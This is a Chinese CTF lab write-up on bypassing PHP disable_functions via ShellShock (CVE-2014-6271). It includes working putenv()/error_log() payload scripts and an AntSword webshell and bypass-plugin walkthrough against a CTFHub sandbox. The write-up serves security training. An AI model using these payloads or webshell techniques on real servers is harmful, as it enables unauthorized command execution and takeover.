目录
本文详细讲解CTFHub的Web进阶中disable-functions的shellshock关卡的原理(CVE-2014-6271)与渗透全流程。主要内容包括:1) ShellShock漏洞原理,通过putenv设置恶意环境变量并调用error_log触发Bash子进程执行命令;2) 使用蚁剑工具自动化漏洞利用流程,包括连接Webshell、使用Bypass插件、生成代理脚本等;3) 两种实战方法:手动构造环境变量脚本和蚁剑disablefunction插件,最终通过执行系统命令获取flag。该技术成功突破了PHP的安全限制,实现了系统命令执行。
一、shellshock绕过
1、shellshock绕过核心原理
shellshock绕过在于利用Bash破壳漏洞(CVE-2014-6271)。
-
Bash 漏洞简介:ShellShock是一个存在于Bash shell中的高危漏洞。该漏洞的成因是Bash在解析以
(){开头定义的环境变量时,会错误地将花括号{}外的命令一并执行。简单来说,攻击者可以通过精心构造的环境变量,在Bash进程中执行任意命令。 -
与PHP的关联:在PHP中,有些函数(例如
mail()或error_log())在执行时会启动新的子进程,并且这些子进程可能会调用Bash。这就为我们利用ShellShock漏洞提供了条件。 -
利用链条:
-
我们通过PHP的
putenv()函数,设置一个特殊的环境变量。这个环境变量的值遵循特定的格式,例如:() { :; }; /readflag > /tmp/flag.txt。其中,() { :; };是用来触发Bash解析的"炮弹",而其后跟随的/readflag > /tmp/flag.txt则是我们真正要执行的系统命令。 -
设置好环境变量后,我们调用一个能派生Bash子进程的PHP函数,比如
error_log()。当这个函数执行时,会启动子进程,如果该子进程加载了存在漏洞的Bash,我们预设的恶意命令就会被执行。 -
这样,我们就成功地绕过了PHP的
disable_functions限制,因为实际的命令执行发生在PHP之外的Bash进程中。
-
简单来说,整个过程就是:通过putenv设置恶意环境变量触发ShellShock漏洞,然后利用error_log()等函数启动子进程来执行系统命令。
2、使用蚁剑进行 ShellShock 绕过
蚁剑(AntSword) 是一款强大的Webshell管理工具,它集成了Bypass disable_function的插件,可以自动化上述过程。以下是具体步骤。
-
连接Webshell:使用蚁剑成功连接到目标网站的Webshell。
-
检查限制与寻找可用函数:
-
连接成功后,尝试在虚拟终端里执行命令(如
whoami),可能会发现命令无法执行。 -
此时,你需要查看
phpinfo信息,确认disable_functions列表,并留意putenv和error_log(或mail)函数是否可用。同时,需要确保目标系统的/bin/bash存在CVE-2014-6271漏洞,并且/bin/sh链接到/bin/bash。
-
-
使用 Bypass Disable Functions 插件:
-
在蚁剑中,找到并加载"Bypass Disable Functions"插件。
-
选择
ShellShock模式。根据目标环境,选择合适的进程函数,如果mail不可用,就选择error_log。 -
点击"开始"按钮执行。插件会自动完成以下工作:
-
在服务器上生成并上传利用脚本,该脚本会通过
putenv设置恶意的环境变量并调用error_log函数来触发漏洞。 -
在网站目录下生成一个代理脚本(例如
.antproxy.php),这个脚本用于后续的代理连接。
-
-
-
重新连接并获取Flag:
-
使用蚁剑重新连接新生成的代理脚本的URL。
-
连接成功后,现在你应该可以在蚁剑的虚拟终端中正常执行系统命令了。
-
执行读取flag的命令(例如
tac /flag),即可成功获取flag。
-
二、绕过渗透实战
本关卡与上一关卡方法几乎一样,只是编码器选择base64编码

1、打开靶场
http://challenge-73bf2a9c7b96d5f7.sandbox.ctfhub.com:10800/

2、源码分析
这道CTF题目考察利用ShellShock(CVE-2014-6271)漏洞绕过PHP的disable_function限制。题目通过eval函数提供代码执行入口,但关键系统命令函数已被禁用。攻击原理基于Bash Shell的解析漏洞——当Bash处理环境变量时,会执行函数定义后面多余的命令。通过putenv()设置恶意环境变量(如() { :; }; /bin/bash -c '执行的命令'),再调用仍可运行的system()、mail()等能够触发Bash子进程的PHP函数,即可利用ShellShock漏洞将PHP代码执行转化为系统命令执行,成功突破安全限制获取服务器控制权。
|
CTFHub Bypass disable_function —— ShellShock 本环境来源于AntSword-Labs
|
3、蚁剑直接连接
http://challenge-73bf2a9c7b96d5f7.sandbox.ctfhub.com:10800/ 密码ant

4、蚁剑base64编码连接
改为base64编码后成功,具体如下所示。



5、蚁剑虚拟终端
右键虚拟终端,输入命令ls和dir,如下所示未能返回结果。这是因为关键系统命令函数已被禁用,无法调用。

6、方法1:环境变量
(1)构造脚本查看根目录文件
构造脚本ljn.php, 通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。
error_log()函数会在执行sh -c -t -i触发payload
|
<?php putenv("PHP_hy=() { :; }; ls / >> /var/www/html/test"); //这里设置环境变量时只要前缀是PHP_即可 //利用shellshock漏洞,执行ls /命令,建立test文件,将结果保存在test中 error_log('',1,'',''); //查看phpinfo,发现mail函数被禁用,error_log可用,所以在这里使用error_log,在message_type设置为1的时候,使用mail()的同一个内置函数。 echo 'ok';//便于判断是否运行成功 ?> |
将脚本上传到服务器的根目录/var/www/html中,如下所示。

打开上传脚本,如下所示。

执行脚本ljn.php,如下所示执行结果为OK。

查看/var/www/html/test文件,如下所示。

(2)构造脚本查看/readflag
修改ljn.php为如下内容。
|
<?php putenv("PHP_hy=() { :; }; cat /readflag >> /var/www/html/test"); error_log('',1,'',''); echo 'ok'; ?> |
修改后如下所示。

执行脚本ljn.php,如下所示执行结果为ok。

查看/var/www/html/test文件,如下所示。

(3)构造脚本查看/flag
方法1:
|
<?php putenv("PHP_hy=() { :; }; /readflag >> /var/www/html/test"); error_log('',1,'',''); echo 'ok'; ?> |

执行脚本ljn.php,执行结果为OK。

查看/var/www/html/test文件,如下所示。

方法2:
|
<?php putenv("PHP_hy=() { :; }; tac /flag >> /var/www/html/test"); error_log('',1,'',''); echo 'ok'; ?> |

执行脚本ljn.php,执行结果为OK。

查看/var/www/html/test文件,如下所示。

7、方法2:蚁剑工具-disable function
(1)disable function插件
我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)Apache mod cgi

点击开始执行,如下所示弹出新的虚拟终端。


(3)查看flag
在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。
ls /
cat /readflag
tac /flag

4387

被折叠的 条评论
为什么被折叠?



